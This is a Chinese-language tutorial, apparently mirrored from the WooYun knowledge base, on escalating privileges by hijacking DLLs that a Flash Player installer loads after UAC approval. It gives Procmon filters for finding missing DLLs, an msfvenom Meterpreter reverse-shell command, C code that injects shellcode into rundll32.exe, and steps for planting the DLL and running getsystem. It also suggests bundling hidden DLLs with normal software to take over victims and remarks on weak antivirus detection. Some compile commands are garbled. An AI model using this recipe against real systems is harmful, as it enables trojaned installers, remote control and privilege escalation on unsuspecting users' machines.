借用UAC完成的提權思路分享

wyzsk發表於2020-08-19
作者: 獵豹科學院 · 2015/09/21 11:14

0x00 背景


UAC(User Account Control,使用者帳戶控制)是微軟為提高系統安全而在Windows Vista中引入的新技術,它要求使用者在執行可能會影響計算機執行的操作或執行更改影響其他使用者的設定的操作之前,提供許可權或管理員‌密碼。也就是說一旦使用者允許啟動的應用程式透過UAC驗證,那麼這個程式也就有了管理員許可權。如果我們透過某種方式劫持了透過使用者UAC驗證的程式,那麼相應的我們的程式也就實現了提權的過程。

0x01 提權過程概述


首先我們找到目標程式,查詢其動態載入的dll檔案然後將其替換掉,插入我們包含shellcode的dll檔案,這樣使用者在安裝此檔案的時候就會呼叫我們的dll檔案,並執行我們的shellcode程式碼。同時為了防止程式崩掉導致我們的程式碼退出,採用注入的方式保證shellcode的穩定執行。在此過程中,如果目標程式請求UAC許可權,對於使用者來說這是一個正常的安裝檔案,一旦透過UAC驗證,相應我們的shellcode也完成了提權過程。替換安裝包dll檔案這種行為太過於敏感,其實最後實現的方式是找到目標程式需要載入的,並且當前目錄又不存在的需要聯網下載的dll檔案,我們只需要在該目錄下放一個同名dll檔案即可。

0x02 實驗環境


Kali Debian7

Kali整合Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連線。最好安裝一個Mingw-w64用於編譯c程式碼。

windows7 x64

主要的目標測試環境。

Procmon.exe

Procmon是微軟出的一款強大的Windows監視工具,不但可以監視程式/執行緒,還可以監控到檔案系統,登錄檔的變化等。

install_flashplayer15x32_mssd_aaa_aih

這裡我們以flashplayer安裝檔案作為目標檔案,版本為15x32_mssd_aaa_aih,可自行下載,或者從最後的打包附件中找到。

0x03 詳細提權過程


查詢可劫持的dll檔案

首先我們在win7系統下先開啟procmon監控軟體,清除一下日誌資訊,然後執行我們的目標檔案install_flashplayer15x32_mssd_aaa_aih,執行過後會彈出UAC選項,需要使用者確認授權。

這裡我們點“是”,然後安裝包開始安裝並自刪除,並從伺服器下載所需的檔案,這時候就可以關掉了,因為我們只需要看該軟體包都載入了哪些dll檔案。

看下Procmon.exe記錄所有行為

資訊量太大,我們需要過濾出有用的資訊。

首先是隻看我們目標程式的資訊,新增過濾規則:

Process Name is install_flashplayer15x32_mssd_aaa_aih

然後是過濾掉載入系統的dll檔案,只看安裝包當前目錄下載入的dll檔案,我這裡安裝包存放在dllhijack資料夾下,新增過濾規則:

Path contains dllhijack

並且該載入dll不存在,需要聯網從伺服器下載,最後再新增一個過濾規則:

Result is NAME NOT FOUND

三個過濾規則如下所示:

經過三個規則過濾後,留下的資訊就很明顯了,如下圖所示:

上邊所列的dll檔案都是會嘗試載入,並且找不到,會聯網進行下載的dll檔案,因此,我們的目標就是劫持這些dll檔案,也不需要替換,直接將我們的dll檔案放在安裝包同目錄即可,這也是為什麼選擇這個安裝程式測試的原因。如果選擇其他安裝包測試的,最好也是選擇這種聯網安裝型別的,所有檔案都從伺服器拉取,如果安裝程式沒有對這些從伺服器拉取的檔案進行效驗,就能夠被劫持。

編寫exploit

找到劫持了dll檔案後,我們進入Debian系統用msf生成shellcode,這裡我們選擇反彈tcp的shellcode,需要知道伺服器ip地址和監聽埠,這裡也選擇Debian系統作為伺服器,ifconfig檢視下ip,設定監聽埠為9000,最後執行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

為了防止程式掛掉或者退出導致shellcode也跟著退出,採用注入的方式,將shellcode注入rundll32.exe程式,然後連線遠端埠。伺服器監聽該埠,一旦有請求就建立會話連線,注入關鍵程式碼:

if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
    ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
    GetThreadContext(pi.hThread, &ctx);    

    ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    

    WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);    

    #ifdef _WIN64
            ctx.Rip = (DWORD64)ep;
    #else
            ctx.Eip = (DWORD)ep;
    #endif    

    SetThreadContext(pi.hThread, &ctx);    

    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

最後將程式編譯,這裡編譯直接在Debian系統下用Mingw-w64編譯,命令入下:

[email protected]:[email protected]shared
[email protected]:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

將編譯好的template.dll複製到win7系統中備用。

debian系統設定伺服器並監聽9000埠,所有命令如下:

提權

將編譯的template.dll檔案放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監控到的可劫持dll檔案中選擇一個,這裡我選擇dhcpcsv6.dll。將我們的dll檔案改名為dhcpcsvc6.dll,其他dll檔案可自行嘗試。之後重新執行安裝包,彈出UAC選項後點“是”。

之後我們在debian系統的服務端會看到我們已經監聽到了這個埠,看下會話資訊:

檢視下當前uid,然後執行getsystem命令許可權:

可以看到已經提權成功,然後進入shell檢視下檔案,執行個計算器什麼的

0x04 總結


UAC很大程度上減少PC受到惡意軟體侵害的機會,但是並不表明是不可被利用的。透過這種dll劫持方式,可以將dll檔案設定為隱藏,並將正常的軟體(如adobe flash player)打包給使用者,使用者基本是察覺不到的,一旦使用者正常安裝,機器就會被攻擊者控制。一些病毒透過劫持lpk.dll等系統dll檔案造成的病毒體執行,也是利用這種思路,但是替換系統檔案這種敏感操作,基本逃不過殺軟的監控了。

各殺軟廠商對shellcode這種檢測和防禦也不夠嚴格,直接從msf中提取的shellcode,沒做任何變形和過殺軟處理,然後virustotal網站上掃描結果如下:

可以看出總共用了56中防毒軟體掃描,報毒的只有16個,然後看下國內的殺軟:

國內殺軟全都沒有報毒,所以透過dll劫持提權還是有很大的使用空間。   程式碼和安裝包上傳百度網盤:連結: http://pan.baidu.com/s/1ntAbfQD 密碼: rmsq 解壓碼:ks123456

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章